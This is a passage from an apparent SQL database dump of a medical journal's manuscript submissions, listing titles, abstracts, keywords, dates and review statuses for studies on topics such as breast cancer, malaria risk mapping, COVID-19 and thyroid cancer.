especially, the longitudinal study designs wherein the said variables can be studied on a follow-up basis in longitudinal studies to have an idea of the exact changes observed and their pattern in the included groups.','Craniofacial morphology, HIV-positive adolescents, HAART',3249,NULL,'2020-03-12',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'1',NULL,0,NULL,NULL,3,0,0,0,NULL,0),(3580,4677,971,0,'ipaclr-20-3580','Breast cancer cases: Experience from a tertiary care hospital of coastal India',NULL,14,0,NULL,'Abstract\r\nContext and Aim: Breast cancers are relatively rare among young women amounting up to 6% of all breast carcinoma cases reported in that age group. In younger age groups, breast cancers, though, have a more aggressive behavior and poorer outcome in comparison to patients in the elderly age groups. The aim of the present study was to evaluate the histo-pathological characteristics of breast carcinomas reported in patients lesser than 40 years of age.\r\nMaterials and Methods: Surgical specimens of carcinoma breast received at the Department of Pathology in a tertiary care hospital for a period of 2 years from January 2014 to December 2015 were included in the study. The histo-pathological slides were reviewed and clinical data was collected from the archival records and compared.\r\nStatistical Analysis Used: Statistical analysis was done using IBM SPSS statistics 17 (Chicago, USA). Various tumor characteristics were correlated with the morphological features and the other clinico-pathologic data using Chi-square value (2), paired t-test and Fischer\'s test. p<0.05 was considered to be statistically significant.\r\nResults: Infiltrating Ductal Carcinoma-Not otherwise specified (IDC-NOS) was found to be the most common variant of breast carcinoma in the younger age groups followed by invasive lobular carcinoma and mucinous carcinoma while stage III was the commonest stage reported in the younger age groups as against the elderly age groups wherein stage II was found to be commoner (p=0.006).\r\nConclusion: The results of the present study revealed a more aggressive and advanced stages of breast carcinomas cases reported in the younger age groups.','Key words: Breast cancer, tertiary care settings, younger age groups, TNM staging, histo-pathology',3249,NULL,'2020-03-12',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'1',NULL,0,NULL,NULL,4,0,0,0,NULL,0),(3581,4677,971,0,'ipaclr-20-3581','Serum Ceruloplasmin Levels And Early Detection Of Oral Potentially Malignant Epithelial Lesions (PMELs) And Oral Squamous Cell Carcinoma (OSCC)',NULL,14,0,NULL,'Abstract:\r\nContext and Aim: Despite the recent advances in cancer treatments, the outcome and prognosis of OSCC is still relatively poor. The lacuna for this lies in the delayed and late diagnosis of neoplasm when the tumor is already in advanced stages of the disease.An early enough diagnosis is, thus, highly warranted to initiate treatment in the initial stage itself to arrest the progression of the malignant process. Such measures, therefore, are of great help and desired for an early detection of this dreaded disease so as to ensue an early treatment. Here, comes the role of tumor markers which are certain specific substances released either by the tumor or, the host while combating the tumor into the serum. Altered concentration of these biomarkers in the serum or, saliva of an individual, then, gives the signal of the future alarming condition pertaining to the process of frank malignant transformations.Oxidative stress might lead to compensatory increased levels of the serum ceruloplasmin levels in patients with such imbalances. Greater than normal ceruloplasmin levels are noticed in numerous cancers including the leukemias and Hodgkin\'s lymphoma. The purpose of the present study was to estimate and evaluate the efficacy of serum ceruloplasmin levels as a potential biomarker in the early detection of oral potentially malignant epithelial lesions (PMELs) including leukoplakia, OSMF and OSCC patients.\r\n\r\nMaterials and Methods: The present observational study was conducted in the Department of Oral Medicine and Radiology over a period of 2 years wherein a total of 100 subjects aged between 18 to 60 years clinically diagnosed and histopathologically confirmed as patients with oral leukoplakia, OSMF and OSCC between the age range of 20-60 years were included. The patients were subjected to incisional biopsy after routine hematological investigation. The same sera samples were, then, used for the analysis of serum ceruloplasmin levels.\r\nStatistical Analysis Used: The statistical analysis was done using the Statistical Package for Social Sciences (SPSS version 17.0, EPI-INFO 6.0 version) and Graph Pad Prism version 5.0. Comparison of serum ceruloplasmin levels with the control group was performed using one way Analysis of Variance (one way ANOVA) test (F-Test) while frequencies were compared with the help of chi-square test. Inter-group comparisons and multiple comparisons were done with the help of Tukey\'s Test. p<0.05 was considered statistically significant.\r\nResults: On comparing serum ceruloplasmin levels in the patients of the four groups, statistically significant difference was found in all the four groups (p<0.05) except for in group B versus group C, group B versus group D and group C versus group D wherein the variations in the values obtained were not found to be statistically significant (p>0.05).\r\nConclusion: The observations of the present study revealed that serum ceruloplasmin levels, though, found to be raised in all the three  groups including oral leukoplakia, OSMF and OSCC as compared to controls and being significant, on inter-group comparisons revealed the variations in the values to be nearly constant indicating no significant difference in the transition of PMELs into frank malignant lesions.','Serum Ceruloplasmin, Biomarker, Early Detection, Oral Potentially Malignant Epithelial Lesions (PMELs), Oral Squamous Cell Carcinoma (OSCC)',3249,NULL,'2020-03-12',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3584,4681,86,0,'ipaom-20-3584','Effects of EEG signal to Parkinson disease through deep recurrent neural network',NULL,14,0,NULL,'This paper introduced a novel computer-aided diagnosis method to detect the Parkinson Disease (PD). A novel Pooling-based Deep Recurrent Neural Network (PDRNN) is used in this proposed algorithm as an efficient deep learning method. Parkinson disease gradually degrade the functionality of the brain. Because of its relevance to the abnormality of the brain, EEG (denoting the electroencephalogram) signal is used for early detection of this disease. The electroencephalogram signals of 20 Parkinson and 20 healthy cases are studied in this paper. Also, a PDRNN learning method is applied on the used dataset for tackling the demand for the traditional feature presentation step. The proposed method of this paper could obtain proper precision, sensitivity and specificity (88.31, 84.84 and 91.81 percent, respectively). In addition, our derived classification method has potential to be employed for high populations prior to be installed for clinical applications.','Parkinson disease;Deep learning;PDRNN neural network;computer-aided diagnosis method',2890,NULL,'2020-03-12',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0','Send for revision',0,NULL,NULL,4,0,0,0,NULL,0),(3587,3672,277,0,'ipadm-20-3587','Distrofia torácica asfixiante o Síndrome de Jeune, una enfermedad letal heterogénea poco frecuente.  Reporte de 2 casos y revisión de literatura.',NULL,2,0,NULL,'La Distrofia Torácica Asfixiante es una enfermedad infrecuente genéticamente heterogénea, autosómica recesiva, multiorgánica con expresión variable. El diagnóstico se basa en hallazgos clínicos y radiográficos. Clínicamente se caracteriza por un tórax estrecho y corto, extremidades cortas y polidactilia postaxial en manos y pies. Radiológicamente presentan tórax estrecho en forma de campana con costillas horizontales cortas con uniones costocondrales irregulares, clavículas elevadas, huesos largos cortos y anchos. La alta mortalidad es principalmente en el periodo neonatal relacionada a hipoplasia e hipertensión pulmonar y los sobrevivientes pueden desarrollar insuficiencia renal en la infancia, así como anormalidades hepáticas, pancreáticas y retinianas.','Distrofia Torácica asfixiante, síndrome de Jeune, tórax estrecho',2805,NULL,'2020-03-13',NULL,'Submitted',1,NULL,'2020-06-11',NULL,1,1,'0','Missing Manuscript',0,NULL,NULL,NULL,0,0,0,NULL,0),(3593,4692,45,0,'iphsj-20-3593','GIS based Malaria Risk Assessment',NULL,14,2,NULL,'Malaria is grave and long-lasting disease instigated by a protozoan parasite of the plasmodium\r\nspecies. It is the root cause of one million deaths annually throughout the world. From this,\r\n90% of death is experienced by young children in the South of the Sahara, in Africa. In Ethiopia,\r\nmalaria is found in about 75% of the total area of the country and more than 68% of the total population is at risk of infection. The main objective of this study was to assess and map the risk of malaria in Kewet Woreda, North Shewa Zone, Amhara Region. For the last few years, the outbreak of malaria in the study area started to decrease. But still, malaria was the top ten disease which is the cause for high morbidity and mortality in the Woreda. To assess and map the risk of malaria, nine determining factors included elevation, rainfall, wetland, and swamp area, river, temperature, distance from the health centers, slope, land use/cover, and population density was selected. These factor maps were combined by using Weighted Multi-Criteria Evaluation on IDRISI 17.0 environment. To assess the socio-economic aspect household survey was carried out. To do so, 137 respondents were systematically selected from five kebeles. Malaria risk map of the study area showed that almost all kebele within Kewet Woreda highly affected by Malaria. Almost 3/4 of the areas fall in the very high (25%), high (45.4%), and moderate (22.9%) malaria risk levels and the remaining only 6.7% of the area labeled as malaria-free. Regarding the impact of malaria in the study area almost all respondents systematically selected from five kebeles indicated that their families were highly affected by malaria, and they use ITBN and insecticide spraying as coping mechanisms. GIS and remote sensing play a great role in enhancing malaria risk zone mapping. Therefore, to minimize the risk of malaria in the area, the Woreda health office should use GIS and Remote sensing technology, could aware of the people about the importance of drainage and effective use of ITBN, construct health centers at a very high and high-risk area.\r\n',' Malaria, GIS, RS, MCE, Kewet, Woreda',2502,NULL,'2020-03-14',NULL,'Submitted',19,NULL,'2021-05-04',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,4,0,NULL,0),(3598,4284,86,0,'ipaom-20-3598','MAGNETIC RESONANCE IMAGING LOCALIZATION OF THE VERTEBRAL LEVEL OF TERMINATION OF THE SPINAL CORD IN ADULTS IN PORT HARCOURT, RIVERS STATE, NIGERIA',NULL,14,0,NULL,'Background: A wide range of variation in the termination of the spinal cord in normal adult population has been observed. Studies abound in foreign literature on the termination of the spinal cord but there is dearth of data concerning this subject in our environment. A good knowledge of the normal level of termination of the conus medullaris in our setting is imperative in every day medical practice. Aim of the study: To determine the vertebral levels of termination of the spinal cord in  living adult population in Port Harcourt Metropolis, Rivers State, Nigeria using MRI and to compare findings with previous similar studies. Materials and Methods: A retrospective cross-sectional design was adopted in this study and was conducted in a single radio-diagnostic center with MRI scanner in Port Harcourt metropolis, Rivers State, Nigeria. Ethical approval was obtained from the Research Review Committee Board of the study center and the retrieved data were treated with utmost confidentiality and used for the purpose of this study only. Both T1W and T2W mid sagittal, spin-echo MR images were analyzed. The terminations of the conus medullaris were identified on sagittal images and were defined as the most distal point of the cord that could be visualized on the sagittal image. A line perpendicular to the long axis of the cord was drawn and extended to the adjacent vertebra. This location was recorded in relation to the upper, middle, or lower third of the adjacent vertebral body or the adjacent intervertebral disc. The obtained data were analyzed using SPSS version 22.Results: Out of the 177 study population, greater numbers of the spinal cords terminated at middle third of L1 74 (males: 35 [36.47%] and females: 39 [48.75%]) as highest and the least terminated at the L3U, which is 1(male: 1(1.04%). Maximum numbers of the cases were within the age group 46-55 years old, 54 (Middle third of L1 = 29 (16.38%, upper third of L2 = 6(3.39%) and lower third of L2 = 4(2.26%) and the least were within the age group 15 – 25 years, which is 6 (middle third of L1 = 3 [1.69%], middle third of L2 = I[1.04%] and T12/L1 disc = 1[1.04%]).Conclusion: The average level of termination of the spinal cord in our study is at the middle third of L1 vertebral body. No gender difference in spinal cord termination. It is hoped that the finding of this study will serve as a useful guide for medical practitioners in our setting.','Conus medularis, MRI, termination.',1639,NULL,'2020-03-16',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3612,496,45,0,'iphsj-20-3612','Ninety Days In: A Comprehensive Review of the Ongoing COVID-19 Outbreak',NULL,15,0,NULL,'A local COVID-19 outbreak in Wuhan, China during early December 2019 has quickly evolved into a global pandemic over a three-month period. Preliminary transmission data on SARS-CoV-2 has been collected and processed by multiple hospitals and research institutions. The current standard protocol for diagnosis is through RT-PCR, but clinicians are pushing to establish guidelines for diagnosis via high resolution CT (HRCT) (Y. Wang, Kang, Liu, & Tong, 2020). Initial prevention protocols have also been established in affected countries to curb the accelerated spread. The current treatment for COVID-19 includes mostly general supportive therapy (L. Zhang & Liu, 2020), as clinical trials continue for potential anti-virals such as Remdisivir and other specific therapies like CRISPR-Cas13d (Nguyen, Zhang, & Pandolfi, 2020). Molecular and genetics research into SARS-CoV-2 has revealed several key regions of therapeutic interest, such as the RRAR motif at the S1/S2 border, or preventing the homologous formation of 6-HB which may ultimately contribute to the creation of a vaccine (Xia et al., 2020). It is also important to discuss the non-medical impacts of COVID-19 as the world goes into high alert. In this review, we provide a comprehensive overview of knowledge gained during the first ninety days of the COVID-19 pandemic and hopefully illuminate a collaborative path moving forward.','Coronavirus, Transmission, Diagnoses, Clinical Features, Treatment, Prevention, Vaccine, Spike, ACE',643,NULL,'2020-03-18',NULL,'Submitted',2,NULL,'2020-05-12',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3623,4730,45,0,'iphsj-20-3623','KNOWLEGDE ,ATTITUDE AND PRACTICE ON OBSTETRICS DANGER SIGNS OF PREGNANCY AMONG ANC ATTENDING PREGNANT WOMEN IN GUNUNNO HEALTH CENTER GUNUNO  TOWN WOLAITA ZONE SNNPR,ETHIOPIA  APRIL 2019 G.C.',NULL,14,0,NULL,'Pregnancy is normal process that results a series of both psychological and physiological changes in pregnant mother. However pregnancy is accompanied with some problems and complications which is life threatening for mother and the fetus. Awareness of obstetric danger sign is first step in accepting appropriate and timely health care service. However there is high maternal death in developing countries due the lack of adequate awareness about danger signs of pregnancy. Yet its factors are not well known in Ethiopia where maternal mortality is high.\r\nMETHODOLOGY: Quantitative facility based descriptive cross sectional study design was conducted for assessment of Knowledge, attitude, and practice of obstetric danger sign among pregnant mother in Gununo. town Gununo health center from May10 to June 20, 2019.  The pregnant to be interviewed was selected by systematic random sampling ANC registration book at the time of data collection. The total sample size was 161.Structured interviewer administered questionnaire was used to collect data. Data was entered in to SPSS version 20 statistical software for analysis. Finally, results were presented in texts, graphs and tables.\r\nRESULT: A total of 158 pregnant women were included in the study making the response rate 98.5%. From those who were included in the study 113(71.5%) identified severe vaginal bleeding at any time during pregnancy as danger sign. In general 90(57%) of the study participants were found to have good knowledge by scoring above the mean value. overall assessment for attitude shows 74(46.8 %) of the study participants had negative attitude by scoring the mean value and below the mean value and 60% were found to have good practice.\r\nConclusion: Knowledge on danger signs during pregnancy is low and greater than half of respondents have unacceptable attitude. The quality of ANC care particularly health education should be evaluated. Further studies are recommended to address the gaps of knowledge and attitude.\r\n\r\n',' Key words:- Danger signs; Pregnancy; Obstetric care; Knowledge\r\n',643,NULL,'2020-03-20',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3626,4735,45,0,'iphsj-20-3626','Quality of life for hospitalized patients: the impact of disease perception',NULL,14,0,NULL,'Purpose\r\nHospitalization is a psychological trauma for a patient, that reduces the results of treatment and life quality. Only a few studies evaluated the impact of hospitalization on patients\' illness perceptions and on their quality of life.\r\nMethods\r\nThe effect of disease perception on quality of life was studied in an observational, cross-sectional study of 66 hospitalized patients with coronary heart disease (Group I), chronic obstructive pulmonary disease (Group II), osteochondrosis (Group III) aged 20 to 80, (in Russia, Orenburg, 2019). To diagnose illness perception we used PQBI Questionnaire (Bekhterev Institute), Quality of life - SF-36 Questionnaire.\r\nTo study differences in patient ages the researchers used one-way analysis of variance; Quality Indicators - Pearson\'s Chi-square test; differences in quality of life indicators - Mann-Whitney U test; factor analysis was used to identify factors affecting the quality of life.\r\nResults\r\nThe differences in the types of illness perception in the groups were established (Chi-Square: 44.136, 16df, p=0,01). Most patients had maladaptive types of illness perception: Group I had hypochondriac, apathetic type; Group II - neurasthenic, dysphoric, paranoid; Group III - anxious, apathetic. In 15 (22.7%) patients, an illness perception type was not defined. The physical health component in patients of all groups has been reduced; mental health component has shown the average level. As the patients\' quality of life, a difference was found in the following indicators - bodily pain (BP), general health status (GH), social functioning (SF).\r\nFactor analysis data: mental health of patients was determined by age (0,91); physical health and physical functioning - by gender (0,92 and 0,81); general health - by the type of illness perception (0,84); social functioning - by a disease (0,82).\r\nConclusion\r\nThe illness perception affects the general health status of hospitalized patients, which determines the current state of health, treatment prospects and disease resistance.\r\n',' disease perception, quality of life, patients, medical institution',687,NULL,'2020-03-20',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3628,4737,45,0,'iphsj-20-3628','KNOWLEDGE OF REGISTERED MENTAL HEALTH NURSES ABOUT THE ROLE OF NUTRITION IN THE MANAGEMENT OF SCHIZOPHRENIA AT PANTANG HOSPITAL IN THE GREATER ACCRA REGION OF GHANA',NULL,14,0,NULL,'Background Schizophrenia is an enduring mental condition that affects about 26 million people each year globally. The purpose of the study was to assess the knowledge of Registered Mental Nurses (RMNs) in Psychiatric Hospital, Pantang about  the role of nutrition in the management of schizophrenia. \r\nMethods Descriptive cross-sectional design was used. Systematic sampling was used to select 170 RMNs for the study. Questionnaire was used to collect the data from the respondents. The processing of data was done with the use of the SPSS and all the research questions were analysed using descriptive statistics. \r\nResults The results from the study indicated that the RMNs showed an overall positive knowledge about the management methods of schizophrenia, but most did not know the recommended period to detect treatment resistance and when to stop PACT treatment. However, many did not accept that eating less nutritious food has a correlation with schizophrenia. Lastly, the study found that knowledge about the dietary composition of schizophrenic patients was also fair enough among the RMNs, aside from most of them not knowing much about gluten-containing food substances. Conclusion The study recommended that Mental Health Training Institutions must emphasise on enough courses on nutrition to help increase the knowledge of future RMNs on the correlation between nutrition and schizophrenia.\r\n\r\n\r\n',' Mental Health,  Nutrition , Schizophrenia',456,NULL,'2020-03-21',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3635,4746,86,0,'ipaom-20-3635','CXCR4 is a valuable poor prognostic marker for CLL: Its higher level of expression is associated with inferior response to therapy, lower disease-free survival.',NULL,14,0,NULL,'Background:\r\nChronic lymphocytic leukemia (CLL) is one of the common chronic lymphoproliferative disorders (lymphoid neoplasms). It is characterized by a progressive accumulation of functionally incompetent lymphocytes, which are usually monoclonal in origin. CLL is a heterogeneous disease; thus, in some cases, the disease progresses so slowly that treatment is not required, but in others, a more aggressive form of the disease develops. CXCR4 (CD184) is a chemokine and chemokine receptor pair playing critical roles in tumor genesis. It is over expressed in many hematological malignancies including acute myeloid leukemia, and non-Hodgkin\'s lymphoma, and generally correlates with a poor prognosis.\r\n\r\nAim of the study:\r\nTo evaluate the clinical utility of CXCR4 expression in CLL patients as a possible predictor of disease outcome.\r\n\r\nMethod:\r\nThe study is a prospective study conducted on 33 adult patients with newly diagnosed CLL, expression of CXCR4 was determined by flowcytometry on either peripheral blood or bone marrow samples. Correlation with the course of the disease and the known CLL prognostic parameters was done initially and after 6 months of follow up.\r\n\r\nResults:\r\nCXCR4 expression was positively correlated with absolute lymphocytic count, Rai score, β2 microglobulin and LDH levels. It was negatively correlated with hemoglobin and platelet counts, overall response rate and 6-month DFS.\r\n\r\nConclusion: \r\nWe conclude that CXCR4 is a valuable poor prognostic marker for CLL, Its higher level of expression is associated with inferior response to therapy, lower disease free survival.',' CLL; CXCR4; Prognostic.',712,NULL,'2020-03-22',NULL,'Submitted',4,NULL,'2020-06-04',NULL,1,1,'0','withdrawn',0,NULL,NULL,2,0,0,0,NULL,0),(3636,4751,86,0,NULL,'COVID-19: An evolving global crisis',NULL,15,0,NULL,'Since its inception in December 2019, Coronavirus disease 2019 (COVID-19) has spread at an unprecedented rate causing great concern around the world. There is still uncertainty in its behaviour regarding transmission and pathogenesis. However, in an era of big data and rapid global communication, a wealth of evidence has already been published highlighting potential causes, mechanisms of spread, real time morbidity and mortality figures, and future areas for research in the development of effective antivirals, vaccines and prevention measures. This review will aim to summarise what we currently know about COVID-19, from its origins, epidemiology, potential therapeutic targets, and outbreak control methods. What is clearly evident during a challenging time for us all, a collaborative effort of all major governmental bodies right down to the individual of society is necessary to slow the spread of this highly transmissible infectious disease.','Public health; Pandemic; COVID-19',3031,NULL,'2020-03-22',NULL,'Submitted',4,NULL,'2020-04-11',NULL,1,0,'0',NULL,0,NULL,NULL,1,0,0,0,NULL,0),(3644,4764,91,0,'ijddr-20-3644','A computational study to analyze the potent inhibitor against Cardiovascular disease (CVD) from Salix tetrasperma',NULL,14,0,NULL,'Cardiovascular Diseases (CVDs) represent a leading cause of disability and mortality including in developed countries.  Hypertension, Atherosclerosis, and stroke are prevalent causes of CVD onset, is mainly due to external stimuli, genetic factors, and ethological risks.  Among genetic risk, cyclooxygenase-2 (COX-2) has shown to be a key enzyme and an inducible isoform and involves in the production of diverse cytokine factors such as IL1B, IL6, and TNF alpha and other cascade enzymes over-expression during the inflammation of vital organs.  However, COX-2 specifically played a significant role in the pathway and was obstructed by the potential inhibitor such as Tremuloidin, an effective therapeutic agent. Therefore, we hypothesize that Tremuloidin could be an efficient drug, ultimately controlling hypertension and CVD related risks and targeting in the regulation of a Cox-2 Enzyme. In the present investigation, a molecular docking method was employed for determining and evaluating efficient and potential inhibitors of COX-2 enzymes, derived from plant-based or natural source. Based on the binding affinities and diverse physicochemical characteristics, identified inhibitors were tested its nature for use as a drug. Moreover analyzing their suitability, absorption, distribution, metabolism, and excretion (ADME) values were calculated by following Lipinkin\'s rule. Molecular docking scores and protein-Ligand complex stability were also assessed.',' COX-2, Cardiovascular Diseases (CVD), Molecular Docking, Molecular Dynamics',2474,NULL,'2020-03-24',NULL,'Submitted',4,NULL,'2020-05-07',NULL,1,1,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3652,4772,45,0,'iphsj-20-3652','Dental unit water line disinfection – have we got the solution',NULL,15,0,NULL,'The Dental Unit Water Lines (DUWL) around the world had been reported to contain potentially infective flora in different quantities. This has been studied in the past few decades and has led to the formulation of various techniques to minimize, if not eliminate the flora. Investigators have proposed many physical and chemical methods to achieve the maximum reduction in flora. Despite these attempts, continued presence of such vegetation is reported. While comparing the effectiveness of these techniques, they have to be assessed on specific criteria and scored accordingly, to enable clinicians to have precise understanding. This review attempts to provide a brief overview of the status of DUWL management with specific emphasis on comparative scoring of techniques.',' Dental Unit Water Line, Hydrogen Peroxide, Disinfection.',458,NULL,'2020-03-25',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3657,4778,73,0,'ipjnn-20-3657','The efficacy of anti-inflammatory medication in postoperative cognitive decline: A meta-analysis',NULL,15,0,NULL,'Objective: Postoperative cognitive decline is a surgical complication involving chronic impairments in different cognitive domains. Although the exact mechanisms behind postoperative cognitive decline are still unknown, there is  increasing  evidence for a key role of neuro-inflammation. This meta-analysis aims to investigate the efficacy of anti-inflammatory treatment on postoperative cognitive decline.\r\nParticipants and Methods: An electronic search was performed using PubMed, Psychinfo, EmBase, Cochrane Database of Systematic Reviews and clinicaltrial.gov (until November 2019). No year or language restrictions were applied. Only randomized, double-blind, placebo-controlled studies that investigated clinical outcome in adult patients who underwent surgery under general anaesthesia (except brain surgery) were included. The search yielded 574 papers, of which nineteen fulfilled the inclusion criteria.\r\nResults: The current meta-analysis found a significant effect of different anti-inflammatory agents on the incidence of POCD (OR = 0.67, p = 0.010). Administration of COX-2 inhibitors (OR = 0.31, p < 0.0001), ketamine (OR = 0.44, p = 0.38) and lidocaine (OR = 0.79, p = 0.33) showed better results than placebo in a meta-analysis of at least two studies. Erythromycin (OR = 0.14, p = 0.006), erythropoietin (OR = 0.15, p = 0.07) and dexmedetomidine (OR = 0.58, p = 0.03) were significant in single studies. No beneficial effects on cognition were found for magnesium, 17β-estradiol, dexamethasone and melatonin.\r\nConclusions: The results of this meta-analysis provide evidence for a potential efficacy of anti-inflammatory agents on POCD, but further research is necessary to determine which agents are most appropriate for clinical application.\r\n','neuroinflammation, postoperative cognitive decline, anti-inflammatory agents',352,NULL,'2020-03-25',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','In this manuscript athor descibed about The efficacy of anti-inflammatory medication in postoperative cognitive decline. The title is good and informative. The abstract is well written. KEYWORDS are missing. The introduction provide sufficient background information for readers. The text is well arranged. Finaly the author found that anti-inflammatory effects of agents may positively affect cognitive functioning after surgery, as overall the administration of different anti-inflammatory agents was found to significantly reduce the incidence of POCD in patients The tipoc is very interesting and may help in future study.\r\nHowever some minor changes required: gramatical error, sentence formation, refence format',0,NULL,NULL,NULL,0,0,0,NULL,0),(3672,4802,45,0,'iphsj-20-3672','Evaluation of the effect ofhospital informationsystem on performance of manegment units in ahvaz general hospital',NULL,3,0,NULL,'Today, with the advancement of science and technology in the field of computer and information systems, the use of systems, especially hospital information systems, in medical centers has increased. This system not only improves the performance of  management and hospital staff, but also helps to make better decisions in the health sector.\r\nThis applied and descriptive-analytical study was conducted in all government hospitals. A number of questionnaires were used to collect data on the performance of management units staff. Data were analyzed using descriptive statistics and T-test.\r\nUsing the hospital information system, the highest mean percentage was for females (52.9%) and the highest occupational history between 10-20 years (47.1%). The highest level of education (42.2%) belonged to the bachelor\'s degree and the highest age of users was 30-40 years (65.7%).\r\nThe findings of the present study indicate that the existence of a hospital information automation system can be a powerful tool for managers. This system can help managers make the right decisions and better management and dramatically increase hospital performance. Thus, by providing ongoing services and training programs, we can improve the quality of our activities and incorporate new technologies to improve patient services in less time, and take an effective step towards improving the quality of health care services.\r\n',' Hospital Information System, Hospital, Management ',686,NULL,'2020-03-28',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3673,4805,277,0,'ipadm-20-3673','Tuberculosis de pared toracica en paciente inmunocompetente',NULL,2,0,NULL,'Chest wall is rare tuberculosis localisation especially in immunocompetent patient.\r\nThe clinica présentation can be unsual and simulate tumor lésion.\r\nWe report à case of 35 years old man with right chest wall tumefaction, in whom the diagnosis established by histology.\r\nOutcome was good with the association medical and chirurgical treatment ',' Tuberculosis, tuméfaction, chest wall ',2805,NULL,'2020-03-28',NULL,'Submitted',2,NULL,'2020-06-12',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3675,4808,326,0,'IPJUS-20-3675','Prognostic factors and survival of the differentiated thyroid cancer retrospective study',NULL,14,0,NULL,'Abstract\r\n The Differentiated Thyroid Cancers (DTCs) is referred to the Papillary (PTC) and follicular (FTC) thyroid cancers. The thyroid cancer incidence was increased in recent years 1. Thyroid cancer is approximately represented 1% of all diagnosed cancer cases yearly 2. Prognosis of the thyroid malignancies was ranged from most frequently seen differentiated carcinoma (PTC, and FTC), to the less popular aggressive, but most aggressively growing was an anaplastic type. \r\n\r\n Aim of current work:\r\nThe prognostic factors that are influence the long-term survival in patients with differentiated thyroid carcinoma either, gender, age,  size of tumor mass, distant metastasis or not,  lymph node metastasis or not, lymphocytic infiltration, degree operation effect, types of operative plan, histological characteristics-, iodine supply or deficiency, patients’ TNM classification changes.\r\n\r\nPatients and methods used in our study\r\nThe retrospective investigation was done at the surgical department, Zagazig University. Two hundred and fifty patients were operated for differentiated thyroid carcinoma between 2010 and 2018.  All evaluated patients were categorized into 167 for papillary carcinoma and 93 for follicular carcinoma. Data of 250 patients have been analyzed during our retrospective study. Survival data and risek factors have been concluded from follow-up documents, and from the patients reviewing. \r\nResults\r\nFollow-up 167 patients and their survival data underwent surgery for papillary carcinoma and follow 93 for follicular carcinoma, at the surgical department, Zagazig university. The 10 years survival was 87.9% and 84.0%, respectively. Follow up period about 10 years for both. In 167 patients of papillary carcinoma (average age: 42.7+/-16.0ys, male: 47, female 120: (female ratio 1:2.5), but in 93 patients were operated on for follicular carcinoma (average age: 48.5 +/- 14.9 years, male: 29, female: 64, male: female ratio 1:2.2). Our results clarified a continuous increase in patient numbers, with increased papillary carcinomas percentage, and during this time of period of our study their increase of early rate which correlated well with our statistics.\r\n\r\nConclusions\r\nThe clinical course and outcome of papillary and follicular thyroid carcinomas are relatively good with low tumor-related mortality, and the survival rates have been improved during the past 10 years as the result of wide spread modern diagnostic and therapeutic protocols. After determining the prognostic factors of survival gives us to make the suitable decision for every individualized surgical plan and the extent of the surgical intervention plane, whose needing for follow-up treatment, the number or frequent follow-up care visits or outpatients clinics.\r\n\r\n\r\n',' Keywords, \r\nPrognostic factors, thyroid,  cancer, retrospective ',2505,NULL,'2020-03-29',NULL,'Submitted',2,NULL,'2020-04-30',NULL,1,1,'0','This article is now accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3679,4812,251,0,NULL,'Original Article: ANALYSIS OF APPROACHES OF HEALTHCARE WORKERS TOWARDS COVID 19, USING BINARY CLASSIFICATION AND REGRESSION ANALYSIS. Hamzullah khan1, Faridullah khan2, Mohammad Zakir3,  1Associate Professor, Director Research, Nowshera Medical College, MTI Nowshera 2Assistant Professor Pediatric, MTI Lady Reading Hospital Peshawar 3Medical Gas Supervisor, Qazi Hussain Ahmed Medical Complex Nowshera Abstract:  Objectives: To analyze healthcare workers approach to COVID-19 through binary classification and regression analysis on 13 different variables vs three dichotomous variables (age, gender and education levels). Material and methods: A quantitative cross-sectional research design was utilized in March, 2020. A total of 158 of the respondents were assessed for their knowledge attitude and approaches towards Corona Virus infection. Relevant information’s were collected on a pre-designed Performa prepared in accordance with the objectives of the study. Data was entered in SPSS version 25th for descriptive and regression analysis to determine the trend of healthcare providers towards COVID-19. Results: Eighty one(51.3%) were males and 77(48.7%) females. The age range of our respondent was from 20 to 50 years. The distribution on basis of education were; 57(36.1%) medical students, 33(20.9%) General practitioners, 29 (18.6%) Bachelor, 24(15.2%) Master/M.Phil and 11(7%) with fellowships. We observed a significant difference  in male gender (vs female gender) regarding; knowledge of outbreak (p=0.002,OR: 7.2), knowledge about the biology of 2019-nCoV(p=0.07,OR: 3.37), worries about the shortage of food and  health issues in lock down situation(p=0.005,OR: 4.1) and confidence level  in this crucial time (p=0.07,OR: 4.2). Taking education as dichotomous variable (Medical s vs non medical/ undergraduate), we observed a significant difference regarding; treatment approach (p=0.001), denial of biological war (p=0.001) and in the opinion that government should provide food and health facility in lock down to the incumbents (p=0.001). A significant difference in opinion was noted in age group>30 years & <30 years regarding; food shortage in lockdown (p=0.005, OR: 4.1) and level of confidence to fight 2019-nCoV (p=0.07, OR: 4.2). Conclusion: We concluded that in female gender the trend is lower regarding knowledge of outbreak and biology of COVID-19 and are more worried about the shortage of food in case of lockdown. The approach towards precautionary measures and treatment and denial of misconception like biological war, is more in educated group with achieved medical qualification.  Key words: COVID-19, Knowledge and Attitude, Regression Analysis',NULL,14,0,NULL,'Original Article:\r\nANALYSIS OF APPROACHES OF HEALTHCARE WORKERS TOWARDS COVID 19, USING BINARY CLASSIFICATION AND REGRESSION ANALYSIS.\r\nHamzullah khan1, Faridullah khan2, Mohammad Zakir3, \r\n1Associate Professor, Director Research, Nowshera Medical College, MTI 